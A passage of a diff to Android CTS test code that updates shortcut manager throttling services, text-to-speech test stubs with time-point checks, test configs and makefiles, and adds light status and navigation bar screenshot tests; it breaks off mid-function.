--- a/tests/tests/shortcutmanager/throttling/src/android/content/pm/cts/shortcutmanager/throttling/BgService.java
+++ b/tests/tests/shortcutmanager/throttling/src/android/content/pm/cts/shortcutmanager/throttling/BgService.java
@@ -23,6 +23,7 @@
 import android.content.Intent;
 import android.content.pm.ShortcutManager;
 import android.content.pm.cts.shortcutmanager.common.Constants;
+import android.content.pm.cts.shortcutmanager.common.ReplyUtil;
 import android.os.IBinder;
 import android.util.Log;
 
diff --git a/tests/tests/shortcutmanager/throttling/src/android/content/pm/cts/shortcutmanager/throttling/FgService.java b/tests/tests/shortcutmanager/throttling/src/android/content/pm/cts/shortcutmanager/throttling/FgService.java
index 86f9dc7..aeaf06b 100644
--- a/tests/tests/shortcutmanager/throttling/src/android/content/pm/cts/shortcutmanager/throttling/FgService.java
+++ b/tests/tests/shortcutmanager/throttling/src/android/content/pm/cts/shortcutmanager/throttling/FgService.java
@@ -16,11 +16,14 @@
 package android.content.pm.cts.shortcutmanager.throttling;
 
 import android.app.Notification;
+import android.app.NotificationChannel;
+import android.app.NotificationManager;
 import android.app.Service;
 import android.content.ComponentName;
 import android.content.Context;
 import android.content.Intent;
 import android.content.pm.cts.shortcutmanager.common.Constants;
+import android.content.pm.cts.shortcutmanager.common.ReplyUtil;
 import android.os.IBinder;
 import android.util.Log;
 
@@ -28,6 +31,8 @@
  * Make sure that when a fg service is running, shortcut manager calls are not throttled.
  */
 public class FgService extends Service {
+    private static final String NOTIFICATION_CHANNEL_ID = "cts/shortcutmanager/FgService";
+
     public static void start(Context context, String replyAction) {
         final Intent i =
                 new Intent().setComponent(new ComponentName(context, FgService.class))
@@ -39,10 +44,15 @@
     public int onStartCommand(Intent intent, int flags, int startId) {
 
         // Start as foreground.
-        Notification notification = new Notification.Builder(getApplicationContext())
-                .setContentTitle("FgService")
-                .setSmallIcon(android.R.drawable.ic_popup_sync)
-                .build();
+        NotificationManager notificationManager = getSystemService(NotificationManager.class);
+        notificationManager.createNotificationChannel(new NotificationChannel(
+                NOTIFICATION_CHANNEL_ID, NOTIFICATION_CHANNEL_ID,
+                NotificationManager.IMPORTANCE_DEFAULT));
+        Notification notification =
+                new Notification.Builder(getApplicationContext(), NOTIFICATION_CHANNEL_ID)
+                        .setContentTitle("FgService")
+                        .setSmallIcon(android.R.drawable.ic_popup_sync)
+                        .build();
         startForeground(1, notification);
 
         final String replyAction = intent.getStringExtra(Constants.EXTRA_REPLY_ACTION);
diff --git a/tests/tests/shortcutmanager/throttling/src/android/content/pm/cts/shortcutmanager/throttling/MyActivity.java b/tests/tests/shortcutmanager/throttling/src/android/content/pm/cts/shortcutmanager/throttling/MyActivity.java
index d04a890..ecd9964 100644
--- a/tests/tests/shortcutmanager/throttling/src/android/content/pm/cts/shortcutmanager/throttling/MyActivity.java
+++ b/tests/tests/shortcutmanager/throttling/src/android/content/pm/cts/shortcutmanager/throttling/MyActivity.java
@@ -17,6 +17,7 @@
 
 import android.app.Activity;
 import android.content.pm.cts.shortcutmanager.common.Constants;
+import android.content.pm.cts.shortcutmanager.common.ReplyUtil;
 import android.os.Bundle;
 import android.util.Log;
 
diff --git a/tests/tests/shortcutmanager/throttling/src/android/content/pm/cts/shortcutmanager/throttling/ReplyUtil.java b/tests/tests/shortcutmanager/throttling/src/android/content/pm/cts/shortcutmanager/throttling/ReplyUtil.java
deleted file mode 100644
index 1b0471c..0000000
--- a/tests/tests/shortcutmanager/throttling/src/android/content/pm/cts/shortcutmanager/throttling/ReplyUtil.java
+++ /dev/null
@@ -1,54 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.content.pm.cts.shortcutmanager.throttling;
-
-import android.content.Context;
-import android.content.Intent;
-import android.os.Bundle;
-import android.util.Log;
-
-public class ReplyUtil {
-    private ReplyUtil() {
-    }
-
-    public static void runTestAndReply(Context context, String replyAction, Runnable test) {
-        try {
-            test.run();
-
-            sendReply(context, replyAction, null);
-        } catch (Throwable e) {
-            String error = "Test failed: " + e.getMessage() + "\n" + Log.getStackTraceString(e);
-            sendReply(context, replyAction, error);
-        }
-    }
-
-    public static void sendReply(Context context, String replyAction,
-            String failureMessageOrNullForSuccess) {
-        // Create the reply bundle.
-        final Bundle ret = new Bundle();
-        if (failureMessageOrNullForSuccess == null) {
-            ret.putBoolean("success", true);
-        } else {
-            ret.putString("error", failureMessageOrNullForSuccess);
-        }
-
-        // Send reply
-        final Intent reply = new Intent(replyAction);
-        reply.putExtras(ret);
-
-        context.sendBroadcast(reply);
-    }
-}
diff --git a/tests/tests/shortcutmanager/throttling/src/android/content/pm/cts/shortcutmanager/throttling/ShortcutManagerThrottlingTestReceiver.java b/tests/tests/shortcutmanager/throttling/src/android/content/pm/cts/shortcutmanager/throttling/ShortcutManagerThrottlingTestReceiver.java
index 6edf7a8..6e067e5 100644
--- a/tests/tests/shortcutmanager/throttling/src/android/content/pm/cts/shortcutmanager/throttling/ShortcutManagerThrottlingTestReceiver.java
+++ b/tests/tests/shortcutmanager/throttling/src/android/content/pm/cts/shortcutmanager/throttling/ShortcutManagerThrottlingTestReceiver.java
@@ -25,6 +25,7 @@
 import android.content.Intent;
 import android.content.pm.ShortcutManager;
 import android.content.pm.cts.shortcutmanager.common.Constants;
+import android.content.pm.cts.shortcutmanager.common.ReplyUtil;
 import android.util.Log;
 
 
diff --git a/tests/tests/simpleperf/AndroidTest.xml b/tests/tests/simpleperf/AndroidTest.xml
index 098afc4..89faa0f 100644
--- a/tests/tests/simpleperf/AndroidTest.xml
+++ b/tests/tests/simpleperf/AndroidTest.xml
@@ -14,12 +14,13 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS Simpleperf test cases">
+    <option name="config-descriptor:metadata" key="component" value="bionic" />
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
         <option name="cleanup" value="true" />
         <option name="push" value="CtsSimpleperfTestCases->/data/local/tmp/CtsSimpleperfTestCases" />
         <option name="append-bitness" value="true" />
     </target_preparer>
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsSimpleperfDebugApp.apk" />
     </target_preparer>
diff --git a/tests/tests/simpleperf/CtsSimpleperfDebugApp/Android.mk b/tests/tests/simpleperf/CtsSimpleperfDebugApp/Android.mk
index bce9921..b84be25 100644
--- a/tests/tests/simpleperf/CtsSimpleperfDebugApp/Android.mk
+++ b/tests/tests/simpleperf/CtsSimpleperfDebugApp/Android.mk
@@ -20,7 +20,7 @@
 
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner legacy-android-test
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
 
 LOCAL_SRC_FILES := $(call all-java-files-under, .)
 
@@ -32,4 +32,4 @@
 
 LOCAL_COMPATIBILITY_SUITE := cts
 
-include $(BUILD_CTS_PACKAGE)
+include $(BUILD_CTS_PACKAGE)
\ No newline at end of file
diff --git a/tests/tests/speech/Android.mk b/tests/tests/speech/Android.mk
index 15a999a..572871b 100755
--- a/tests/tests/speech/Android.mk
+++ b/tests/tests/speech/Android.mk
@@ -21,7 +21,10 @@
 # and when built explicitly put it in the data partition
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner legacy-android-test
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    ctstestrunner \
+    android-support-test \
+    legacy-android-test
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
@@ -30,7 +33,7 @@
 
 LOCAL_PACKAGE_NAME := CtsSpeechTestCases
 
-# Needed for testing M API
-#LOCAL_SDK_VERSION := current
+# Needed for testing O API
+#LOCAL_SDK_VERSION := test_current
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/speech/AndroidTest.xml b/tests/tests/speech/AndroidTest.xml
index 08df58e..9cc3132 100644
--- a/tests/tests/speech/AndroidTest.xml
+++ b/tests/tests/speech/AndroidTest.xml
@@ -14,11 +14,13 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS Speech test cases">
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsSpeechTestCases.apk" />
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.speech.tts.cts" />
+        <option name="runtime-hint" value="11m" />
     </test>
-</configuration>
\ No newline at end of file
+</configuration>
diff --git a/tests/tests/speech/src/android/speech/tts/cts/StubTextToSpeechService.java b/tests/tests/speech/src/android/speech/tts/cts/StubTextToSpeechService.java
index 88bdc74..52b3072 100644
--- a/tests/tests/speech/src/android/speech/tts/cts/StubTextToSpeechService.java
+++ b/tests/tests/speech/src/android/speech/tts/cts/StubTextToSpeechService.java
@@ -90,9 +90,14 @@
             }
         }
 
-        byte[] data = { 0x01, 0x2 };
-        if (callback.audioAvailable(data, 0, data.length) != TextToSpeech.SUCCESS) {
-            return;
+        // Ten chunks with each a time point.
+        for (int i = 0; i < 10; i++) {
+            byte[] data = {0x01, 0x2};
+            if (callback.audioAvailable(data, 0, data.length) != TextToSpeech.SUCCESS) {
+                Log.i("TEST", "audioavailable returned not success");
+                return;
+            }
+            callback.rangeStart(i * 5, i * 5 + 5, i * 10);
         }
         if (callback.done() != TextToSpeech.SUCCESS) {
             return;
diff --git a/tests/tests/speech/src/android/speech/tts/cts/TextToSpeechServiceTest.java b/tests/tests/speech/src/android/speech/tts/cts/TextToSpeechServiceTest.java
index e205cc4..8e4d901 100644
--- a/tests/tests/speech/src/android/speech/tts/cts/TextToSpeechServiceTest.java
+++ b/tests/tests/speech/src/android/speech/tts/cts/TextToSpeechServiceTest.java
@@ -22,6 +22,8 @@
 import java.io.File;
 import java.io.FileOutputStream;
 import java.util.HashMap;
+import java.util.Map;
+import java.util.List;
 
 /**
  * Tests for {@link android.speech.tts.TextToSpeechService} using StubTextToSpeechService.
@@ -55,24 +57,41 @@
         try {
             assertFalse(sampleFile.exists());
 
-            int result = getTts().synthesizeToFile(UTTERANCE, createParams("tofile"), sampleFile.getPath());
+            int result =
+                    getTts().synthesizeToFile(
+                                    UTTERANCE, createParams("mocktofile"), sampleFile.getPath());
             assertEquals("synthesizeToFile() failed", TextToSpeech.SUCCESS, result);
 
-            assertTrue("synthesizeToFile() completion timeout", mTts.waitForComplete("tofile"));
+            assertTrue("synthesizeToFile() completion timeout", mTts.waitForComplete("mocktofile"));
             assertTrue("synthesizeToFile() didn't produce a file", sampleFile.exists());
             assertTrue("synthesizeToFile() produced a non-sound file",
                     TextToSpeechWrapper.isSoundFile(sampleFile.getPath()));
         } finally {
             sampleFile.delete();
         }
-        mTts.verify("tofile");
+        mTts.verify("mocktofile");
+
+        final Map<String, Integer> chunksReceived = mTts.chunksReceived();
+        final Map<String, List<Integer>> timePointsStart = mTts.timePointsStart();
+        final Map<String, List<Integer>> timePointsEnd = mTts.timePointsEnd();
+        final Map<String, List<Integer>> timePointsFrame = mTts.timePointsFrame();
+        assertEquals(Integer.valueOf(10), chunksReceived.get("mocktofile"));
+        // In the mock we set the start, end and frame to exactly these values for the time points.
+        for (int i = 0; i < 10; i++) {
+            assertEquals(Integer.valueOf(i * 5), timePointsStart.get("mocktofile").get(i));
+            assertEquals(Integer.valueOf(i * 5 + 5), timePointsEnd.get("mocktofile").get(i));
+            assertEquals(Integer.valueOf(i * 10), timePointsFrame.get("mocktofile").get(i));
+        }
     }
 
     public void testSpeak() throws Exception {
-        int result = getTts().speak(UTTERANCE, TextToSpeech.QUEUE_FLUSH, createParams("speak"));
+        int result = getTts().speak(UTTERANCE, TextToSpeech.QUEUE_FLUSH, createParams("mockspeak"));
         assertEquals("speak() failed", TextToSpeech.SUCCESS, result);
-        assertTrue("speak() completion timeout", waitForUtterance("speak"));
-        mTts.verify("speak");
+        assertTrue("speak() completion timeout", waitForUtterance("mockspeak"));
+        mTts.verify("mockspeak");
+
+        final Map<String, Integer> chunksReceived = mTts.chunksReceived();
+        assertEquals(Integer.valueOf(10), chunksReceived.get("mockspeak"));
     }
 
     public void testSpeakStop() throws Exception {
diff --git a/tests/tests/speech/src/android/speech/tts/cts/TextToSpeechWrapper.java b/tests/tests/speech/src/android/speech/tts/cts/TextToSpeechWrapper.java
index a24fdc2..c5e3655 100644
--- a/tests/tests/speech/src/android/speech/tts/cts/TextToSpeechWrapper.java
+++ b/tests/tests/speech/src/android/speech/tts/cts/TextToSpeechWrapper.java
@@ -26,6 +26,8 @@
 import java.util.HashSet;
 import java.util.Map;
 import java.util.Set;
+import java.util.List;
+import java.util.ArrayList;
 import java.util.concurrent.TimeUnit;
 import java.util.concurrent.locks.Condition;
 import java.util.concurrent.locks.Lock;
@@ -89,6 +91,22 @@
         mTts.shutdown();
     }
 
+    public final Map<String, Integer> chunksReceived() {
+        return mUtteranceListener.chunksReceived();
+    }
+
+    public final Map<String, List<Integer>> timePointsStart() {
+        return mUtteranceListener.timePointsStart();
+    }
+
+    public final Map<String, List<Integer>> timePointsEnd() {
+        return mUtteranceListener.timePointsEnd();
+    }
+
+    public final Map<String, List<Integer>> timePointsFrame() {
+        return mUtteranceListener.timePointsFrame();
+    }
+
     /**
      * Sanity checks that the utteranceIds and only the utteranceIds completed and produced the
      * correct callbacks.
@@ -169,6 +187,9 @@
         private final Set<String> mCompletedUtterances = new HashSet<>();
         private final Set<String> mBeginSynthesisUtterances = new HashSet<>();
         private final Map<String, Integer> mChunksReceived = new HashMap<>();
+        private final Map<String, List<Integer>> mTimePointsStart = new HashMap<>();
+        private final Map<String, List<Integer>> mTimePointsEnd = new HashMap<>();
+        private final Map<String, List<Integer>> mTimePointsFrame = new HashMap<>();
 
         @Override
         public void onDone(String utteranceId) {
@@ -262,6 +283,25 @@
             }
         }
 
+        @Override
+        public void onRangeStart(String utteranceId, int start, int end, int frame) {
+            Assert.assertNotNull(utteranceId);
+            mLock.lock();
+            try {
+                Assert.assertTrue(mBeginSynthesisUtterances.contains(utteranceId));
+                if (mTimePointsStart.get(utteranceId) == null) {
+                    mTimePointsStart.put(utteranceId, new ArrayList<Integer>());
+                    mTimePointsEnd.put(utteranceId, new ArrayList<Integer>());
+                    mTimePointsFrame.put(utteranceId, new ArrayList<Integer>());
+                }
+                mTimePointsStart.get(utteranceId).add(start);
+                mTimePointsEnd.get(utteranceId).add(end);
+                mTimePointsFrame.get(utteranceId).add(frame);
+            } finally {
+                mLock.unlock();
+            }
+        }
+
         public boolean waitForComplete(String utteranceId)
                 throws InterruptedException {
             long timeOutNanos = TimeUnit.MILLISECONDS.toNanos(TTS_INIT_MAX_WAIT_TIME);
@@ -296,13 +336,28 @@
             }
         }
 
+        public final Map<String, Integer> chunksReceived() {
+            return mChunksReceived;
+        }
+
+        public final Map<String, List<Integer>> timePointsStart() {
+            return mTimePointsStart;
+        }
+
+        public final Map<String, List<Integer>> timePointsEnd() {
+            return mTimePointsEnd;
+        }
+
+        public final Map<String, List<Integer>> timePointsFrame() {
+            return mTimePointsFrame;
+        }
+
         public void verify(String... utteranceIds) {
             Assert.assertTrue(utteranceIds.length == mStartedUtterances.size());
             for (String id : utteranceIds) {
                 Assert.assertTrue(mStartedUtterances.contains(id));
                 Assert.assertTrue(mBeginSynthesisUtterances.contains(id));
                 Assert.assertTrue(mChunksReceived.containsKey(id));
-                Assert.assertTrue(mChunksReceived.get(id) > 0);
             }
         }
     }
diff --git a/tests/tests/systemintents/Android.mk b/tests/tests/systemintents/Android.mk
index 83caac9..1af6702 100644
--- a/tests/tests/systemintents/Android.mk
+++ b/tests/tests/systemintents/Android.mk
@@ -27,7 +27,7 @@
 
 LOCAL_PACKAGE_NAME := CtsSystemIntentTestCases
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner legacy-android-test
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
 
 LOCAL_SDK_VERSION := test_current
 
diff --git a/tests/tests/systemintents/AndroidTest.xml b/tests/tests/systemintents/AndroidTest.xml
index eceb909..7b5e7e9 100644
--- a/tests/tests/systemintents/AndroidTest.xml
+++ b/tests/tests/systemintents/AndroidTest.xml
@@ -15,11 +15,12 @@
   ~ limitations under the License
   -->
 <configuration description="Config for CTS system intent test cases">
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsSystemIntentTestCases.apk" />
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.systemintents.cts" />
     </test>
-</configuration>
\ No newline at end of file
+</configuration>
diff --git a/tests/tests/systemui/Android.mk b/tests/tests/systemui/Android.mk
index b1c25fa..6aed2f8 100644
--- a/tests/tests/systemui/Android.mk
+++ b/tests/tests/systemui/Android.mk
@@ -26,7 +26,10 @@
 
 LOCAL_JAVA_LIBRARIES := android.test.runner
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner legacy-android-test
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    ctstestrunner \
+    android-support-test \
+    legacy-android-test
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/tests/tests/systemui/AndroidManifest.xml b/tests/tests/systemui/AndroidManifest.xml
index 2cdb36f..fc0d841 100644
--- a/tests/tests/systemui/AndroidManifest.xml
+++ b/tests/tests/systemui/AndroidManifest.xml
@@ -21,7 +21,7 @@
     <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
     <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
     <application>
-        <activity android:name=".LightStatusBarActivity"
+        <activity android:name=".LightBarActivity"
                 android:theme="@android:style/Theme.Material.NoActionBar"></activity>
         <uses-library android:name="android.test.runner" />
     </application>
diff --git a/tests/tests/systemui/AndroidTest.xml b/tests/tests/systemui/AndroidTest.xml
index 61bdae3..ac3bb93 100644
--- a/tests/tests/systemui/AndroidTest.xml
+++ b/tests/tests/systemui/AndroidTest.xml
@@ -14,7 +14,8 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS SystemUI test cases">
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+    <option name="config-descriptor:metadata" key="component" value="sysui" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsSystemUiTestCases.apk" />
     </target_preparer>
diff --git a/tests/tests/systemui/src/android/systemui/cts/LightBarActivity.java b/tests/tests/systemui/src/android/systemui/cts/LightBarActivity.java
new file mode 100644
index 0000000..6a1e0d7
--- /dev/null
+++ b/tests/tests/systemui/src/android/systemui/cts/LightBarActivity.java
@@ -0,0 +1,71 @@
+/*
+ * Copyright (C) 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+package android.systemui.cts;
+
+import android.app.Activity;
+import android.graphics.Color;
+import android.os.Bundle;
+import android.view.View;
+import android.view.ViewGroup.LayoutParams;
+
+
+/**
+ * An activity that exercises SYSTEM_UI_FLAG_LIGHT_STATUS_BAR and
+ * SYSTEM_UI_FLAG_LIGHT_NAVIGATION_BAR.
+ */
+public class LightBarActivity extends Activity {
+
+    private View mContent;
+
+    public void onCreate(Bundle bundle){
+        super.onCreate(bundle);
+
+        mContent = new View(this);
+        mContent.setLayoutParams(new LayoutParams(LayoutParams.MATCH_PARENT,
+                LayoutParams.MATCH_PARENT));
+        setContentView(mContent);
+    }
+
+    public void setLightStatusBar(boolean lightStatusBar) {
+        setLightBar(lightStatusBar, View.SYSTEM_UI_FLAG_LIGHT_STATUS_BAR);
+    }
+
+    public void setLightNavigationBar(boolean lightNavigationBar) {
+        setLightBar(lightNavigationBar, View.SYSTEM_UI_FLAG_LIGHT_NAVIGATION_BAR);
+    }
+
+    private void setLightBar(boolean light, int systemUiFlag) {
+        int vis = getWindow().getDecorView().getSystemUiVisibility();
+        if (light) {
+            vis |= systemUiFlag;
+        } else {
+            vis &= ~systemUiFlag;
+        }
+        getWindow().getDecorView().setSystemUiVisibility(vis);
+    }
+
+    public int getTop() {
+        return mContent.getLocationOnScreen()[1];
+    }
+
+    public int getBottom() {
+        return mContent.getLocationOnScreen()[1] + mContent.getHeight();
+    }
+
+    public int getWidth() {
+        return mContent.getWidth();
+    }
+}
diff --git a/tests/tests/systemui/src/android/systemui/cts/LightBarTests.java b/tests/tests/systemui/src/android/systemui/cts/LightBarTests.java
new file mode 100644
index 0000000..4ba28cb
--- /dev/null
+++ b/tests/tests/systemui/src/android/systemui/cts/LightBarTests.java
@@ -0,0 +1,281 @@
+/*
+ * Copyright (C) 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.systemui.cts;
+
+import android.app.ActivityManager;
+import android.content.pm.PackageManager;
+import android.graphics.Bitmap;
+import android.graphics.Color;
+import android.support.test.InstrumentationRegistry;
+import android.test.ActivityInstrumentationTestCase2;
+import android.util.Log;
+import android.view.KeyCharacterMap;
+import android.view.KeyEvent;
+
+import java.io.FileOutputStream;
+import java.io.IOException;
+
+/**
+ * Test for light status bar.
+ *
+ * mmma cts/tests/tests/systemui
+ * cts-tradefed run commandAndExit cts-dev --module CtsSystemUiTestCases --test android.systemui.cts.LightBarTests --disable-reboot --skip-device-info --skip-all-system-status-check --skip-preconditions
+ */
+public class LightBarTests extends ActivityInstrumentationTestCase2<LightBarActivity> {
+
+    public static final String TAG = "LightStatusBarTests";
+
+    public static final String DUMP_PATH = "/sdcard/lightstatustest.png";
+
+    public LightBarTests() {
+        super(LightBarActivity.class);
+    }
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        // As the way to access Instrumentation is changed in the new runner, we need to inject it
+        // manually into ActivityInstrumentationTestCase2. ActivityInstrumentationTestCase2 will
+        // be marked as deprecated and replaced with ActivityTestRule.
+        injectInstrumentation(InstrumentationRegistry.getInstrumentation());
+    }
+
+    public void testLightStatusBarIcons() throws Throwable {
+        PackageManager pm = getInstrumentation().getContext().getPackageManager();
+        if (pm.hasSystemFeature(PackageManager.FEATURE_WATCH)
+                || pm.hasSystemFeature(PackageManager.FEATURE_TELEVISION)
+                || pm.hasSystemFeature(PackageManager.FEATURE_LEANBACK)) {
+            // No status bar on TVs and watches.
+            return;
+        }
+
+        if (!ActivityManager.isHighEndGfx()) {
+            // non-highEndGfx devices don't do colored system bars.
+            return;
+        }
+
+        requestLightBars(Color.RED /* background */);
+        Thread.sleep(1000);
+
+        Bitmap bitmap = takeStatusBarScreenshot();
+        Stats s = evaluateLightBarBitmap(bitmap, Color.RED /* background */);
+        assertLightStats(bitmap, s);
+    }
+
+    public void testLightNavigationBar() throws Throwable {
+        PackageManager pm = getInstrumentation().getContext().getPackageManager();
+        if (pm.hasSystemFeature(PackageManager.FEATURE_WATCH)
+                || pm.hasSystemFeature(PackageManager.FEATURE_TELEVISION)
+                || pm.hasSystemFeature(PackageManager.FEATURE_LEANBACK)) {
+            // No navigation bar on TVs and watches.
+            return;
+        }
+
+        if (!ActivityManager.isHighEndGfx()) {
+            // non-highEndGfx devices don't do colored system bars.
+            return;
+        }
+
+        if (!hasVirtualNavigationBar()) {
+            // No virtual navigation bar, so no effect.
+            return;
+        }
+
+        requestLightBars(Color.RED /* background */);
+        Thread.sleep(1000);
+
+        Bitmap bitmap = takeNavigationBarScreenshot();
+        Stats s = evaluateLightBarBitmap(bitmap, Color.RED /* background */);
+        assertLightStats(bitmap, s);
+    }
+
+    private boolean hasVirtualNavigationBar() {
+        boolean hasBackKey = KeyCharacterMap.deviceHasKey(KeyEvent.KEYCODE_BACK);
+        boolean hasHomeKey = KeyCharacterMap.deviceHasKey(KeyEvent.KEYCODE_HOME);
+        return !hasBackKey || !hasHomeKey;
+    }
+
+    private void assertLightStats(Bitmap bitmap, Stats s) {
+        boolean success = false;
+        try {
+            assertMoreThan("Not enough background pixels", 0.3f,
+                    (float) s.backgroundPixels / s.totalPixels(),
+                    "Is the bar background showing correctly (solid red)?");
+
+            assertMoreThan("Not enough pixels colored as in the spec", 0.1f,
+                    (float) s.iconPixels / s.foregroundPixels(),
+                    "Are the bar icons colored according to the spec "
+                            + "(60% black and 24% black)?");
+
+            assertLessThan("Too many lighter pixels lighter than the background", 0.05f,
+                    (float) s.sameHueLightPixels / s.foregroundPixels(),
+                    "Are the bar icons dark?");
+
+            assertLessThan("Too many pixels with a changed hue", 0.05f,
+                    (float) s.unexpectedHuePixels / s.foregroundPixels(),
+                    "Are the bar icons color-free?");
+
+            success = true;
+        } finally {
+            if (!success) {
+                Log.e(TAG, "Dumping failed bitmap to " + DUMP_PATH);
+                dumpBitmap(bitmap);
+            }
+        }
+    }
+
+    private void assertMoreThan(String what, float expected, float actual, String hint) {
+        if (!(actual > expected)) {
+            fail(what + ": expected more than " + expected * 100 + "%, but only got " + actual * 100
+                    + "%; " + hint);
+        }
+    }
+
+    private void assertLessThan(String what, float expected, float actual, String hint) {
+        if (!(actual < expected)) {
+            fail(what + ": expected less than " + expected * 100 + "%, but got " + actual * 100
+                    + "%; " + hint);
+        }
+    }
+
+    private void requestLightBars(final int background) throws Throwable {
+        final LightBarActivity activity = getActivity();
+        runTestOnUiThread(() -> {
+            activity.getWindow().setStatusBarColor(background);
+            activity.getWindow().setNavigationBarColor(background);
+            activity.setLightStatusBar(true);
+            activity.setLightNavigationBar(true);
+        });
+    }
+
+    private static class Stats {
+        int backgroundPixels;
+        int iconPixels;
+        int sameHueDarkPixels;
+        int sameHueLightPixels;
+        int unexpectedHuePixels;
+
+        int totalPixels() {
+            return backgroundPixels + iconPixels + sameHueDarkPixels
+                    + sameHueLightPixels + unexpectedHuePixels;
+        }
+
+        int foregroundPixels() {
+            return iconPixels + sameHueDarkPixels
+                    + sameHueLightPixels + unexpectedHuePixels;
+        }
+
+        @Override
+        public String toString() {
+            return String.format("{bg=%d, ic=%d, dark=%d, light=%d, bad=%d}",
+                    backgroundPixels, iconPixels, sameHueDarkPixels, sameHueLightPixels,
+                    unexpectedHuePixels);
+        }
+    }
+
+    private Stats evaluateLightBarBitmap(Bitmap bitmap, int background) {
+        int iconColor = 0x99000000;
+        int iconPartialColor = 0x3d000000;
+
+        int mixedIconColor = mixSrcOver(background, iconColor);
+        int mixedIconPartialColor = mixSrcOver(background, iconPartialColor);
+
+        int[] pixels = new int[bitmap.getHeight() * bitmap.getWidth()];
+        bitmap.getPixels(pixels, 0, bitmap.getWidth(), 0, 0, bitmap.getWidth(), bitmap.getHeight());
+
+        Stats s = new Stats();
+        float eps = 0.005f;
+
+        for (int c : pixels) {
+            if (c == background) {
+                s.backgroundPixels++;
+                continue;
+            }
+
+            // What we expect the icons to be colored according to the spec.
+            if (c == mixedIconColor || c == mixedIconPartialColor) {
+                s.iconPixels++;
+                continue;
+            }
+
+            // Due to anti-aliasing, there will be deviations from the ideal icon color, but it
+            // should still be mostly the same hue.
+            float hueDiff = Math.abs(ColorUtils.hue(background) - ColorUtils.hue(c));
+            if (hueDiff < eps || hueDiff > 1 - eps) {
+                // .. it shouldn't be lighter than the original background though.
+                if (ColorUtils.brightness(c) > ColorUtils.brightness(background)) {
+                    s.sameHueLightPixels++;
+                } else {
+                    s.sameHueDarkPixels++;
+                }
+                continue;
+            }
+
+            s.unexpectedHuePixels++;
+        }
+
+        return s;
+    }
+
+    private void dumpBitmap(Bitmap bitmap) {
+        FileOutputStream fileStream = null;
+        try {
+            fileStream = new FileOutputStream(DUMP_PATH);
+            bitmap.compress(Bitmap.CompressFormat.PNG, 85, fileStream);
+            fileStream.flush();
+        } catch (Exception e) {
+            Log.e(TAG, "Dumping bitmap failed.", e);
+        } finally {
+            if (fileStream != null) {
+                try {
+                    fileStream.close();
+                } catch (IOException e) {
+                    e.printStackTrace();
+                }
+            }
+        }
+    }
+
+    private int mixSrcOver(int background, int foreground) {
+        int bgAlpha = Color.alpha(background);
+        int bgRed = Color.red(background);
+        int bgGreen = Color.green(background);
+        int bgBlue = Color.blue(background);
+
+        int fgAlpha = Color.alpha(foreground);
+        int fgRed = Color.red(foreground);
